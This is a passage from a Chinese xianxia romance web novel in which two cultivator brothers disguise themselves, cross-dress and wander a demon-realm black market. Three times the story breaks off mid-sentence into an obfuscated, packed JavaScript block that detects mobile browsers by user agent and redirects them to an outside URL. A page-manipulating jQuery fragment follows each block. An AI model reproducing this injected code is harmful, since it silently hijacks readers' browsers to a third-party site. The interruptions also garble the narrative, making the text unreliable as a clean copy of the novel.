此人是熟客,像捧哏似的。说书先生却道:“此话差矣。后起之秀固然引人瞩目,然缺乏历练,恐为昙花一现。不比双方的中流砥柱,吹尽黄沙始到金。先说魔域,现下风头最盛的魔窟,正是开放秘境后首当其冲的沉音剑冢。沉音魔尊苦修两千年,修为已臻至万境。” 白翎偏头向裴响解释:“魔修的道行分一十百千万,五等。这个万境是很厉害的。” 说书先生继续道:“除此以外,借骨西山、折仙浮屠、射日海天,与之并称四大魔窟。道场则不相同,仙门林立、派系如云,多以个人道号扬名。有道是‘万古长夜展月后,千山破晓群星悬’哪。” 一名客人催道:“你就说最要提防的是哪个!” 此人一双花臂,魔纹遍布上半身,是个魔修。说书先生把折扇往掌心一拍,乐道:“那除了展月一脉的渡尘真人诸葛悟,还能有谁?听说他的两名师弟也在秘境,沉音魔尊已奉上黄金万两,悬赏他二人的项上人头!” 40.四十、变装 说书先生的话音落下,驾鹤一脉的小辈们齐齐回头,望着白翎和裴响二人。 白翎也心生诧异,不过第一想法并非逃跑,而是好笑:人界用金银当流通货币,魔域居然也是?课本上怎么说的来着,贵金属果然是硬通货啊。 他绞尽脑汁,发现上辈子学的经济学皮毛已经忘光了。下一刻,白翎对上林暗严肃的眼神,立即“唰”地收起面上笑意,端出警醒的姿态。 林暗示意众人起身,道:“我已经结账,糖水喝得差不多了罢?此地不宜久留,走。” 徐师弟刚七荤八素地爬起来,闻言虽不明白缘故,但抓紧时间,摸走了桌上最后一个饼塞嘴里。 白翎则翻出两顶幕篱,一边与裴响戴上,一边问林暗:“真人,你登记的时候,有写我和阿响的身份姓名吗?” “不曾。只留了我的道号,应该不至于走漏风声。”林暗领着他们步入街边阴影,习惯性地宽慰道,“你二人的悬赏金之高,出乎我意料。不过沉音魔尊向来喜欢用钱造势,他连展月老祖都悬赏过,你也不必太……” 她看着白翎故作认真、装出来的洗耳恭听样儿,沉默片刻,转向裴响道:“你也不必太…………” 裴响面无表情。在林暗看来,此人听见自己被高额悬赏时,还不如听见白翎喊他时戒备。 少顷,他或是觉着被长辈注视不回话很失礼,道:“黄金万两,很高么?” 林暗:“……忘记你姓裴了,真是抱歉啊。” 白翎十分关切地问:“真人刚才说,不必太什么?” “罢了。我看你装得也挺累的。”林暗微笑了一下,回头问殿后的尹真,“绯衣真人,你对黑市比我了解。请问蜃楼之中,有没有较为隐蔽、道场修士聚居的客栈?” 队伍末尾的尹真答道:“有啊,但是死贵。” 夹在中间的驾鹤一脉小辈们七嘴八舌:“有露台吗?” “十二时辰供应热水吗?” “有机会偶遇道场大能吗,我想讨要真迹!” 林暗说:“肃静。贵一些也无妨,只要客栈的护卫得力,可以防止魔修潜伏、暴露白师弟二人的身份即可。” 白翎却道:“不行啊真人,我俩刚跟问鼎家的干过一架,道场仙友不可信啊。黄金万两!那可是黄金万两!” 尹真问:“你想怎样?” 白翎忍着笑意,道:“有我俩的通缉令吗?我想看一眼。” 好巧不巧,转过街角,对面墙上便贴着满满当当的黄纸。小的如牛皮癣,旧的似破抹布,当中三张崭新的巨幅画报,占据了墙面半壁江山。 白翎眯眼观察片刻,道:“右边白衣服的是……我吗?” 裴响不语,说不出违心的话。徐师弟也眯起双眼,替他问出了口:“左边黑衣服的是……裴师弟?!” 田师妹叫道:“画这么丑!” 林暗清了清嗓子,不予置评。尹真倒是嗤笑一声,道:“中间的是诸葛悟吧,那家伙长这样儿吗?” 魔族的画工不敢恭维,也可能执笔之人主打意识流,融入了过多的主观情绪。三张人像,风格迥异,正中央的诸葛悟横眉怒目、状若金刚,手中拂尘被魔血糊作一坨,连背后双剑都生出了狰狞鬼脸,狺狺狂吠。 右边的裴响则从头黑到脚,又高又瘦。不得不说,作画之人精准地拿捏了特点,虽然五官画得乱七八糟,但是把裴响拒人于千里之外的气质完美还原,要是没给他眉心加一点朱砂就更棒了——加了之后,把他画得跟嗜血魔童一般,某种意义上讲,也算体现了师门老幺的身份。 至于左边的白翎,画风突变。 一袭白衣是没错,问题是珠光宝气、绸纱缠身,与他本人浆洗到微微泛黄的白麻道袍完全不符。衬着一张巴掌小脸,以及苍蝇腿似的浮夸睫毛,俨然一位风流祸水。不仅如此,作画之人还给他上了妆,紫色口红配蓝色眼影,审美堪忧。 白翎呻_吟道:“快,谁来掐一下我人中……” 他倒向身边的裴响。裴响接住他倒是轻松,但打量着白翎的神态,无法确定他是真的悲痛欲绝了,还是演的。 显然白翎是演的。他靠着师弟,寻求到片刻安慰,立即直起身,要去把通缉令撕了。 林暗啼笑皆非地拦住他,道:“白师弟,你若撕了悬赏,便意味着接下这单,要为沉音魔尊排忧解难呢。” 白翎原地打转,叉着腰问:“凭什么他俩都凶神恶煞的,就我跟妖妃一样?肯定是道场的谣言传过去了,谁打的小报告?群众中有坏人!我和阿响都身价万两了,师兄他呢?岂不是得多出十倍?” 林暗道:“他的悬赏与你们不同,与其说是悬赏,不如说是激励。因为沉音魔尊有一位妹妹,谁能斩杀渡尘真人,谁便能做乘龙快婿,迎娶公主。” 白翎长叹一声,道:“好吧。师兄怎么是个恶龙的定位……咳咳,画成这鸟样我倒是放心了。附近有染头发的店吗?或者画人体彩绘的?” 林暗:“白师弟的意思是……” 尹真点头道:“你小子是真的贼,反其道而行之是吧?我确实知道一家铺子,专门卖给毛染色的灵药,还有一些图纸,沾水往身上一拍,就能印出花纹。” 白翎眼睛一亮,心说有纹身贴的话更省事了啊!驾鹤一脉的小辈们也猜到他的计划,一派欢欣雀跃,争着跟尹真说想买的染发剂颜色。 林暗面露无奈,被田师妹怂恿,只好选了比较低调的丁香紫。田师妹则是个骨子里离经叛道的,果断拜托尹真,帮她带最鲜亮的缃色。 其他几个师弟也跃跃欲试,红橙黄绿蓝靛紫,打算什么扎眼染什么。白翎听得直乐,捏了裴响的手臂一把,小声问:“阿响喜欢什么颜色呀?” 裴响沉默片刻,道:“白色。” “真的?不试试别的颜色吗,粉色怎么样?”白翎笑嘻嘻提议,旋即想起来,古代好像没有“粉色”的概念,改口道,“就是桃花的颜色,淡一点的。你可以只染一绺嘛,配你的发带很好看的。” 裴响视线微动,落在白翎的脸上、发上,问:“你要染什么?” “我?我当然要白色啦!”白翎两眼弯弯,心说我国人均白毛控岂是虚言?前世没机会染头,今生可不能错过。 裴响哼道:“随你。” 白翎高高兴兴去跟尹真汇报,半刻钟后,刀修回来了,与他们在小巷里分拣灵药。 尹真不仅买了伪装发色与魔纹的用具,还采购了一瓶灵丹,服用后可以改变瞳孔的色彩,更利于贴近魔修形象。 白翎兴致勃勃地取了白色与粉色的灵药,来找裴响。不料,裴响二指一拈,轻巧地提走了白色那瓶。 白翎愣道:“你干嘛呀?” 裴响瞥了演粉色药瓶,说:“你染那个。” “啊?不行!你、你答应染粉色的——” 白翎要与他换过来,裴响却把白色的药瓶举过头顶。白翎蹦了两下没够到,登时龇牙咧嘴,一声令下:“拂钧,上!” 他的仙剑闻声出鞘,好像还没睡醒,迷迷瞪瞪地愣在空中。不消裴响指挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192607|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“花谕”也冒了出来,好脾气地挤了拂钧一下。 白翎薅住“拂钧”大力摇晃,教训道:“你争气一点,别睡大觉啦!” “拂钧”终于被叫醒,忙不迭和“花谕”互殴。不过它俩轻飘飘地戳来戳去,不像在打架,倒像在玩什么“你拍一、我拍一,一个小孩穿花衣”。 白翎道:“拂钧你下去,换凉紫出来!” 霎时间,他的仙剑光泽一暗,仿佛变了把剑似的,追着“花谕”一顿削。 白翎满意了,鼓掌评价:“不错,不错!拂钧多学学人家。” 裴响道:“你凶我便算了,何必凶你的剑……” “我哪里凶它啦?不对,我哪里凶你啦?”白翎哼笑一声,转回头却大惊失色,道,“阿响你——” 只见裴响已趁他教唆仙剑干仗的间隙,把白色的灵药用完了。裴响依他所言,染了鬓边一缕长发,编入脑后马尾。少年人衔着朱红的银纹发带,双手收拢散发扎起来,与白翎对视,略一挑眉。 白翎气得发笑,道:“不乖是吧?你等着。” 他把幕篱的垂纱拉好,挡住自己的脸,去找尹真问了句什么,独自消失在巷口。裴响重新束好发,站了片刻,还是跟了上去。但他没走两步,便被尹真挡住。 裴响:“借过。” 尹真:“他说让你等着。” 裴响一皱眉,问:“他去哪了?” “成衣铺子,只隔一条街。”尹真上下扫他一眼,懒洋洋地说,“师兄走开一会儿,你便要跟着?这样如何能成才。” 裴响:“……” 裴响闷不吭声地回到原处,背对众人,面朝墙上慢慢挪动的蜗牛。银白的黏液在蜗牛身后留下痕迹,约莫增长了半寸后,驾鹤一脉的小辈们忽然爆发一阵惊呼。 “白……白仙长?!” “我嘞个西王母,你,你——” 裴响一怔,隐约察觉了什么,却迟疑了,没有回头。直到窸窸窣窣的衣料滑动声响起,有谁穿过人群,来到他背后,往他肩头一拍。 裴响慢慢转身,见到了一位手挽幕篱轻纱、眼如弯弯月牙的仙子。 白翎买了一身雪白的女修道服,虽然和男装差异不大,但腰封收得窄些,在他身上亦显出了身段窈窕、姿态轻灵。 不仅如此,白翎还把灵药用了,蓬松的头发变成绚丽的淡粉色,似朝霞藏在他的幕篱下。 白翎本就俊俏,只是太爱笑,灿然笑意总让人忽视他的漂亮。此时抿唇不语,方显出五官的清新昳丽,不过他才忍了片刻,见裴响如石化一般,又忍不住大笑起来。 他这一笑,打破小巷内静止似的氛围。 小辈们一拥而上,兴奋地围着他惊叹:“白仙长,你活该被画成妖妃啊!合欢一脉的没纠缠过你吗?” “太强了,太强了……不愧是展月老祖的后人,扮女装都一骑绝尘……” “真是厉害,白仙长也没捏诀化作女儿身呀,竟然不显得怪异。有些男修啊,又梳发髻又穿裙子的,简直辣眼睛,被识破还说什么,‘你怎么看出我是男扮女装的呢’?” 连一贯持重的林暗也走过来,细细观察白翎的装束,夸奖道:“白师弟眼光真妙。若穿罗裙,仍显怪诞,道服便没有不伦不类的感觉。戴着幕篱,寻常人绝不会把你往通缉令想。” 白翎大大方方地转个圈,展示一番。可是,他的师弟依然似木雕泥塑,僵在原地。 白翎没忍住又戳了他一下,却不讲话,只是目光灼灼地望着裴响,等他开口。 41.四十一、下榻 众人顺着白翎的视线,皆看向裴响。 毫无意外的,裴响被冲击到失魂的脸上,迅速泛起了绯色。他下意识后退,不慎碰掉了勤勤恳恳爬墙的蜗牛,虽然眼疾手快、一转身将其接住,但维持着低头面壁的姿势,半晌没转回来。 驾鹤一脉的小辈们被林暗教育过后,不敢再嘴上没把门儿的。不过裴响背对着大家,小辈们挤眉弄眼、脸上五官乱飞,显然没憋什么好屁。 “散了,散了。”白翎挥手作驱赶状,笑嘻嘻地说,“我师弟脸皮薄,大家给个面子。让我跟他聊两句啦。” 林暗眼风一扫,师弟师妹们老老实实跟她去巷子另一端,抽查背诵心法。一片哀声中,白翎背着手凑到裴响近前。 裴响把脸转到左边,白翎也转到左边;裴响把脸转到右边,白翎也转到右边。 白翎依然不讲话,等着师弟张嘴。终于,裴响第三次重复幼稚的逃避行为时,白翎把他的蜗牛拈走了。 蜗牛早已经吓得缩进壳中,被白翎放在墙根的青苔上,半晌不肯探头。 白翎轻飘飘地叹道:“好可怜的阿响,还不如一只蜗牛。蜗牛能躲在壳里,你能怎么办?” 裴响耳根烧红,要不是因为洁癖,估计已经将额头贴在墙上了。 白翎两只手扶着幕篱的帽檐,好与师弟挨得更近。他坏心眼地问:“我不好看吗?你要是不回答,我问师兄去。” 白翎说罢,作势要捏腰间的铃铛。顷刻间,眼前一花,裴响已攥住他的手腕。 少年喃喃道:“荒唐!” 白翎笑嘻嘻地说:“哎呀,谁叫你不夸我嘛。阿响夸我一句好看,我就不去烦别人了。” 裴响却顾左右而言他:“诸葛师兄正在会谈,众目睽睽之下,你、你岂能在此时打扰他?” 白翎道:“你不夸我我才打扰他的,都怪你。” 裴响:“……” 裴响将眼一闭,内心天人交战。他几度张口,半天没挤出一个字,白翎寻思要给师弟下一剂猛药,佯装对着铃铛喊:“师兄啊,你能看见我们吧?你……” “好看!”裴响倏地睁眼,语无伦次道,“是我见过的最……最美丽的……” 白翎追问道:“最美丽的什么?” “……景象。” 裴响抬起眼,睫羽下似藏着两汪黑沉沉的潭水,映着满池繁星。再艰难的话语,只消说出口,便不再重若千钧了。 不自然的人忽然变成了白翎。他就爱看师弟被逼得无处可去、又只能面对他的样子,也没指望裴响真的会赞扬他女装,没想到裴响不仅夸了,还…… 还见鬼的挺真诚。 裴响盯着白翎,一眼不错,自然也发现了白翎的变化。他冷冷道:“师兄可满意了?” “……啊?满意?当、当然满意啦!看不出来嘛,阿响还挺会甜言蜜语的……哈哈哈哈。”白翎与他拉开距离,幕篱也不抬了,老老实实戴好,还使劲整理垂纱,把自个儿挡得严实。 裴响疑惑道:“甜言蜜语?” 白翎维持着微笑,说:“我们是不是该去客栈了呀。” 裴响:“……” 裴响凉凉地扫他一眼,白翎拔腿就走。可是他没跑掉,师弟握住他手腕,问:“你确定要以如此姿态,去魔修聚居之所?” 白翎奇道:“我又没涂脂抹粉,衣服也不夸张吧?不用担心。” “我没担心。”裴响很生硬地否认,抿了抿唇,终是不太愉快地放开手。白翎立即如活鱼一般溜走了,被他放在墙角的蜗牛则探头探脑,又开始努力地爬上墙。 驾鹤一脉的小辈们正在背书,被林暗点到的人或垂头丧气,或抓耳挠腮,若刚好问到了熟知的要诀,则容光焕发;若不巧问到了记诵的漏洞,则大放悲声。 白翎负着手溜达过来,装模作样地点着头,不管听不听得懂,一概评价“不错”、“说得好啊”、“驾鹤一脉振兴有望呐”。 小辈们憋笑,又寄希望于被他解救,频频觑他。 林暗亦瞥向白翎,问:“玩够了?” “玩?岂有此理。我明明在培养师弟的审美。”白翎轻咳一声,看尹真倚在墙上、快睡着了,忙道,“尹兄,醒醒,要去住店啦。” 尹真恍然一晃,清醒过来。 他审视众人,见白翎、裴响、林暗只是改换了发色,不大满意;但目光落在小辈们身上,好一片姹紫嫣红。其中以绿油油的徐师弟最为夺目,饶是真魔修来了也要甘拜下风,向他求教染发之道。 更别提小辈们的眼睛了,没一颗眼珠子是黑的。田师妹不知使了什么法子,两只瞳仁一只红、一只蓝,看得尹真眉毛狂跳。师弟们尤其钟爱花臂,纷纷亮出胳膊,互相攀比谁的“魔纹”更张狂。 不过,尹真的视线往小辈们绕了一圈,又转回白翎身上。 他嘴角抽动,道:“你……” 白翎坦然地摊开双手,接受评价。裴响却说:“黑市不是今夜开场么?我们已耽搁许久了。” 一句话打断了尹真的观察,众人走出巷子。他们正处在蜃楼边缘,街上行人来往,尚窥不得飞宫全貌。 直到沿街而行半刻钟后,景色豁然开朗。在白翎看来,飞宫整体像一座斗兽场,外沿最高,层层如梯田般下降。他们走的街道,其实是低一排楼房的屋顶,不过偶有打破地势规律的建筑,比如尹真带他们来到的目的地。 云顶城池之上,竟然挂着广阔飞瀑。其顶端是一片深紫湖泊,被三轮银月照得发白,倾泻而下的湖水泛着红色,一级级跌落飞溅。 白翎隐约瞧见,紫湖中央坐落着巍峨殿宇。他道:“那是黑市主人的住处吧?” 尹真说:“嗯,一个老魔头,年纪大了不喜欢掺和事,才整出黑市这个鱼龙混杂的地方。” 瀑布顶端的泄口十分壮丽,越往下走,被分割得越细,渐渐揉碎作一片蒸腾紫雾。 而分割飞瀑的,是一座座亭台楼阁。徐师弟兴奋地叫道:“咱们到地方了吗?我、我看见客栈招牌了!” 亭台楼阁的中心,有一片偌大的广场,令瀑布二度汇聚,再次飞跃。广场上的大楼金碧辉煌,与霁青商行、全性塔都不一样,完全不在乎美感与优雅,所有设计和装饰只凸显一点: 贵!非常贵! 白翎沉默片刻,果断捏铃铛呼叫诸葛悟。不为别的,就为喊师兄来掏钱。 几人踏上街边的法阵,平底起风,将他们传送到了大楼的正厅。尹真去柜台办理下榻,白翎听见铃铛里传来动静,仿佛是诸葛悟暂离了会谈,到外间问:“何事?” 白翎说:“喂师兄,我们要住店了,给你订间房吧?你还要多久到,这家客栈叫‘湖下山庄’。” 诸葛悟压低声音说:“我尚有要务在身,你们先听林道长的。若看中了什么东西,请她买下,待我回来结清。” 铃音停息,白翎回头,却见裴响已经取出票折。 霁青商行不愧是天下第一商行,在魔域也可通行,金丝楠木票折引得柜台掌事霍然起立,有求必应。裴响并未多言,将众人的费用全结了。 林暗问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209927|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师弟何故如此客气?” 裴响低声道:“祖训有及时报恩之说。既然是因我与师兄的缘故,诸位才来此下榻,自然由我付账。” 白翎一拍脑袋,终于想起了自家不止一个大款。不过,作为师兄吃师弟的软饭,多少有些不好意思,他挪到裴响身侧,笑道:“师弟与我住一间?” 裴响一怔,没好气地说:“不然你想和谁住。” “哦——”白翎拉长声音,言有尽而意无穷,立即招致了师弟批判的眼神。 白翎乐不可支,鱼妖侍从前来引路,目光在他二人间来回,不敢贸然称呼,只点头哈腰地请众人再度踏上法阵。 他们被传送至几间相邻的悬空楼阁,站在门前的观景露台上。此地视野甚佳,两侧飞珠溅玉,水声潺湲,不失野趣。 白翎不是什么风雅之士,跟驾鹤一脉的师弟师妹们一样,甫一站稳,立即推门进房,发出心满意足的喟叹声。 入目的客房足有十人之高,穹顶倒挂烛台,数百根鲛脂烛灯火通明。烛光如清润的茶油淋下四壁,映出满屋陈设。 华美的地毯踩之如履云间,整套红木家具无不铺着缂丝锦垫。屋里屋外,如出一辙的豪奢靡丽,而最吸引白翎的,自然是中央的红帐拔步床。 他利索地蹬掉长靴,直扑床上。当柔软的床垫将他弹起来时,这场危机丛生的秘境之行,仿佛变成了一次春游。 白翎好奇地扒拉床垫,发现并非他用数千根白鹭绒毛自制的那般,而是堆叠了十余层厚实的褥子。虽不及他,也不遑多让。 在外赏景的裴响从露台进来,一眼看见四仰八叉的白翎。 小师弟见他脱了鞋履,神色一松;又见他没解外衫就往床上滚,眉梢轻跳;再看到他随手甩出去、此刻恰好挂在花瓶上晃悠的幕篱,深吸一口气。 裴响先解救了无辜受困的鲜花,施术清洗幕篱,再瞥着撒欢的白翎,半晌后终是什么都没说。 倒是白翎支起满头蓬乱粉毛的脑袋,问:“什么时候了?我们要不要去黑市啦。” “开市的时辰是双月晦,现在刚过三月明。”裴响答完,见白翎歪起头不太明白的样子,又道,“总之还有一下午的闲暇。” 白翎再度欢呼,结果蹦起来的力度太大,倒栽葱摔在地毯上。 裴响本在沏茶,见状面色微变,过去扶他。门铃忽然响了,鱼妖侍从带着一大串蝌蚪精黑脸小童,头顶十余盘美味佳肴,候在门外。 原来是客栈提供的午膳,全部是魔域特色美食。看来道场一行人的伪装不错,真被山庄的伙计们当成魔修了。 不过,这也是黑市正邪两道混杂的缘故。店家皆不在意来客身份,并不会认真核查。 白翎见到好吃的,双眼放光。即便有不少食材令人望之牙酸,他也跃跃欲试,毕竟好不容易来魔域一趟“旅行”,自当吃个够本。 他揎拳掳袖,夹了满满一筷子酥香嫩肉。肉是蓝色的,入口即化,简直让白翎热泪盈眶。 裴响向来细嚼慢咽,比起自己动口,大部分时间是在看着白翎吃。白翎则胡吃海塞,两颊鼓得滚圆,对上师弟视线,霎时两眼弯弯,不过唇齿正忙,没空与他打诨。 一刻钟后,裴响搁下筷子,用方巾沾了沾唇。他的嘴刚碰上方巾,不知想起什么,凝滞片刻,又将其放下了。 白翎“呼噜噜”豪饮鲜鱼汤,直喝得浑身发热、手足俱暖,终于舒爽畅快。 他朝裴响打了个响指,笑吟吟道:“离黑市开场还有这么久,阿响要不要与我出去逛逛?” 42.四十二、约会 白翎是很会逛街,裴响却从未有过。 午休之后,白翎拉着师弟出门,与林暗打了声招呼,才知徐师弟几个早就溜出去玩了。为免意外,林暗给白翎、裴响画了护身符,能挡元婴期修士一击,也算不错的保障。 时值魔域午后,三月清辉正盛,如同晴夜。 居民皆等着晚间开市,街上无人,一排排铺面静悄悄的。老板们躺在八仙椅上打瞌睡,白翎也不管人家做不做生意,什么店都左看看、右瞧瞧,欢喜得不得了。 裴响默默跟着,听他自言自语、叽喳个不停,偶尔被点名,才淡淡地应一声。 有个老板午睡刚醒,顶着惺忪睡眼瞧他们,只当是某位魔修公子,与他跳脱的道侣,恭维道:“两位可有相中的玩意儿?夫人好眼力,你手里拿的是本店镇店之宝,沉音公主戴过的珠钗。” 裴响听他唤白翎“夫人”,显然误会了二人的关系,面色微僵。白翎却因变装成功而得意,不仅不介意,还闷笑了一声。 裴响试图辩解:“我们……并非道侣。” 老板了然道:“这样啊,没关系嘛,迟早的事。公子你一表人才,将公主珠钗买回去充入聘礼,很长面子的。那颗珠子可不是凡品,是大姑河河主的灵丹,能打开护体结界的!” 裴响:“……” 裴响面无表情地转开脸,放弃了反抗。白翎忍笑忍得肩膀直抖,放轻嗓子说:“多谢老板,珠钗我们要了。” 大姑河河主,想必是他们会晤过的蚌精。寻常妖物没了灵丹是死路一条,跟修士碎了金丹一样,不过蚌精本就有育珠之能,许是因此特性,逃过一劫。 老板听他们要买,起身去找适配的宝椟了。裴响问白翎:“你真的喜欢?” 白翎将珠钗放在月光下细看,珠心彩晕如虹,确实漂亮。他道:“有保护功能的,说不定你以后能吸收呢?” “……”裴响取出银票准备付款,道,“你戴着吧。” 白翎也觉得自己的装束该有一点首饰,但是他没扎过头发,更不会用簪子发钗之类的东西,于是把珠钗塞到裴响手里,说:“你帮我戴。” 他说罢便取下幕篱,转身背对裴响。裴响被他的淡粉色头发晃了眼,无措片刻,不得不替他挽起发丝,咬牙训道:“不成体统。” 白翎道:“又怎么啦?” “身体发肤,受之父母,岂能让他人随意触碰。”裴响嘴上这么说着,却担心老板一会儿出来、瞧见他在做的事,手上又快又好,把白翎上半脑袋的头发挽髻,横插珠钗。 白翎没想到他还做了个简单的造型,惊讶地摸摸钗子,找店里的铜镜一照,立时展颜。他夸道:“阿响手艺不错嘛!” 裴响将幕篱往他头上罩,压着声音说:“即便悬赏画像不符实际,也不该掉以轻心,轻易以面目示人。” 白翎问:“那你怎么不戴?” 裴响专心把他的发髻放进幕篱顶端预留的圆洞里,道:“因为你更显眼啊。” 白翎笑眯眯追问:“我什么显眼?” “你……”裴响意识到中了他的圈套,恼道,“你连束发都不会!” 白翎正想反驳,店老板出来了,无意间暂停了他们的斗嘴。 白翎立即掩好垂纱,变回了一名“窈窕淑女”,看得裴响眼神直闪,不仅没消气,还更上火了。 老板见珠钗已经戴在白翎头上,接过裴响给的厚厚一沓银票,奉上盛放珠钗的宝椟,笑得见牙不见眼:“两位感情甚笃,真是天造地设、珠联璧合的一对啊!小的在此恭祝两位大人,早日修成正果、百年好合!” 马屁又拍到了马腿上。 白翎怕师弟羞得背过去,忙接过话头:“谢谢老板好意,我们会的……一定会的哈哈哈。阿响你偷偷掐我干嘛?嗯,老板,我想问问,有没有专门卖丹药的铺子?” 即便白翎不希望裴响再靠自戕暴涨功力了,也必须给他备好大量仙丹,以待不时之需。 老板听他说了长句,终于发觉他声线不对劲,挠头道:“再往前过两个路口,是最大的炼丹坊,一群医修搭伙开的。咱平日里有个头疼脑热,都去那儿瞧,您二位要买更宝贝的货,也可以去逛逛……” 白翎道了谢,拽着裴响离开。老板看他不同寻常女修一样、挽着男伴的臂弯,更加纳闷儿,摸着锃光瓦亮的脑门回了店里。 依照老板指的路,白翎与裴响果真寻到一座炼丹坊门前。 出乎白翎意料的是,老板口中的“一群医修搭伙开的”、好像江湖郎中们报团取暖的穷酸药房,竟然有两排街道之高。赤铜丹炉坐落正中,匾额上书“老君鼎”,还挂着阔气横幅:“三百名金丹期丹士携手悬壶!二十位元婴期医修联袂济世!四大药王坐镇,包您药到病除!” 两只小妖手持扩音法器,在门前喋喋不休地叫着:“走过路过不要错过,送药上门妙手回春,今天黄道吉日,不要九九九、不要八八八,只要几两碎银,救命良方带回家!” 白翎听着耳熟,原来不论在哪个世界,销售的话术都是这么一套。 路过的魔修看他俩年轻,冲上蹿下跳的小妖们远远啐了一口,回头提醒道:“你俩外地人吧?别信它们吹的。天天黄道吉日,天天贵得要死。” 白翎拱手致谢,但还是带裴响走进了“老君鼎”。 小妖立即围上来,卖力推销:“客官好啊!你们是来看病的?诊脉的?抓药的?” “说什么瞎话,没见这两位精气神足得很啊?去去去。客官您听我说,咱们老君鼎近日推出新活动,买一瓶丹,送一瓶丹……” “滚开!”刚被它踹飞的小妖挤回来,一拳把同事夯下去,顶着脸上的脚印,绽开大大笑容,“客官有什么需求,尽管告诉小的!到底是看病诊脉还是抓药?” 白翎边走边看,闻言笑道:“你们不用着急,都不是。” “哦……”两个抢业务的小妖对视一眼,恍然大悟。 左边小妖“唰”地拉开衣襟,露出挂在外衫内侧的一排排小瓶子,说:“回春伟力散!鹿血壮阳丹!虎鞭益肾丸——夫人要买多少?要多少有多少,保证您夫君痛改前非、重新做人!” 白翎喷笑,裴响则变了脸色,斥道:“没人要买这种东西!你们、你们到底是不是正规的药房?” “绝对正规,假一赔十!”右边小妖掏出一卷丹方,十指作莲花状“呼啦呼啦”地捻着,神神秘秘道,“看来您二位需要这个。本店药王出品,专治不孕不育,一剂三年抱俩,两剂四世同堂——” 裴响二话不说,转身就走。 白翎忙拉住他,小妖们也吓得邦邦磕头,直呼客官留步。 裴响没想到它们为了业绩,小妖膝下无黄金。他一时停住,白翎早已笑得肚子痛,断断续续地说:“我们是来买普通丹药的!固本培元、益气补血的就行,但是品质要好,你们有货吗?” 小妖一溜烟滚起来,满口“有的有的”,冲进大厅。白翎随它们踏入,只见三面墙壁、嵌满一格格橱柜,贴着标签,存放了上千种药材和灵丹。 此时没有别的客户,在柜台后面休息的小妖也被提溜起来,一同取货。白翎和裴响被迎到雅座上等候,一个格外矮小的小妖用壶嘴比它还长的茶壶,斟上两碗热茶。 白翎心生好奇,端起茶盏闻了闻,嗅到一股不知名草药的辛香。 茶水是浓褐色的,他对上倒茶小妖殷切的眼神,不想拂了人家好意,遂撩起垂纱,浅浅抿了一口。 裴响手扶茶杯不动,面上犹有愠色。他是挑剔得很,轻易不喝外面的茶。见白翎喝了,他蹙眉道:“此地古怪,你……” 话音未落,白翎一把抓住他道:“唔唔唔?” 裴响的脸霎时冷了,冲倒茶小妖斥道:“怎么回事!” 小妖吓得把茶壶一扔,逃到顶梁柱后面。白翎却从抓着师弟的小臂,一路摸索到他肩头,试图用肢体语言安抚他。 白翎向裴响张开嘴,示意他看自己的舌头,含混不清地说:“烧起来了——” 裴响一时关切,双手拨开垂纱,捧住师兄的脸,紧盯他唇齿间。白翎受了辛辣刺激,双眸潋滟,舌根发木。 他的唇素来红润,妙语连珠时,似不断翻飞的桃花瓣。然而此刻,白翎被师弟微凉的手掌包裹面颊,舌尖探出齿列少许,是比嘴唇更秾丽的艳色。 唇红齿白,活色生香。 软润的舌镀着薄薄水光,时不时一闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223037|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 裴响情急之下,离他太近,没注意两人的气息交错。白翎的舌心泛起甜水,才知药茶回甘,握住裴响双腕,嘶声道:“好了好了,没那么辣了……好神奇的茶水!阿响你快尝尝。” 白翎收回舌头,咂摸出奇异的香甜。裴响眉峰未解,后知后觉地放开他,倏地将双手背到身后。 白翎却冲他吐气,和登徒子吹烟圈调戏人似的,不过呵气如兰,想来是药茶的功效。 温暖的芬芳拂面,裴响眼神闪烁,片刻才道:“真的无碍?” “完全没事啊。刚喝的时候特别辣,很快就酥酥麻麻的,还发烫。不过等烫完了,就有种很暖和的甜味,嘴里清清爽爽的。” 白翎把茶盏端到裴响唇边,迫使他也沾了沾杯。少年人品味片刻,猛一皱眉,眼里泛起水光,良久之后,才哑声评价:“尚可。” 白翎道:“是吧!” 他朝顶梁柱吹口哨。柱子后面探出一双扑棱的大耳朵,少顷,跑掉的倒茶小妖探出头,见裴响面色缓和,蹑手蹑脚地回来捡起茶壶,打扫倒出来的茶水。 两只推销的小妖头顶三个比它们高的盒子,在白翎和裴响面前一字排开。白翎小口小口地饮着药茶,喝多之后竟有几分上瘾,唇舌间麻辣辣、暖融融的。 